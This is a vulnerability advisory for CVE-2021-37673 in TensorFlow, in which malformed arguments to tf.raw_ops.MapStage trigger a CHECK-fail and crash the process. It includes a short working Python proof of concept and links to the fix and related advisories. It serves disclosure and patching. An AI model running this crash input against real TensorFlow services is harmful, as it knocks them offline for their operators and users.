CVE-2021-37673: `CHECK`-fail in `MapStage`
(updated )
An attacker can trigger a denial of service via a CHECK-fail in tf.raw_ops.MapStage:
import tensorflow as tf
tf.raw_ops.MapStage(
key=tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64),
indices=tf.constant((0), dtype=tf.int32),
values=[tf.constant((0), dtype=tf.int32)],
dtypes=[tf.int32,
tf.int64],
capacity=0,
memory_limit=0,
container='',
shared_name='')
References
- github.com/advisories/GHSA-278g-rq84-9hmg
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-586.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-784.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-295.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/d7de67733925de196ec8863a33445b73f9562d1d
- github.com/tensorflow/tensorflow/security/advisories/GHSA-278g-rq84-9hmg
- nvd.nist.gov/vuln/detail/CVE-2021-37673
Code Behaviors & Features
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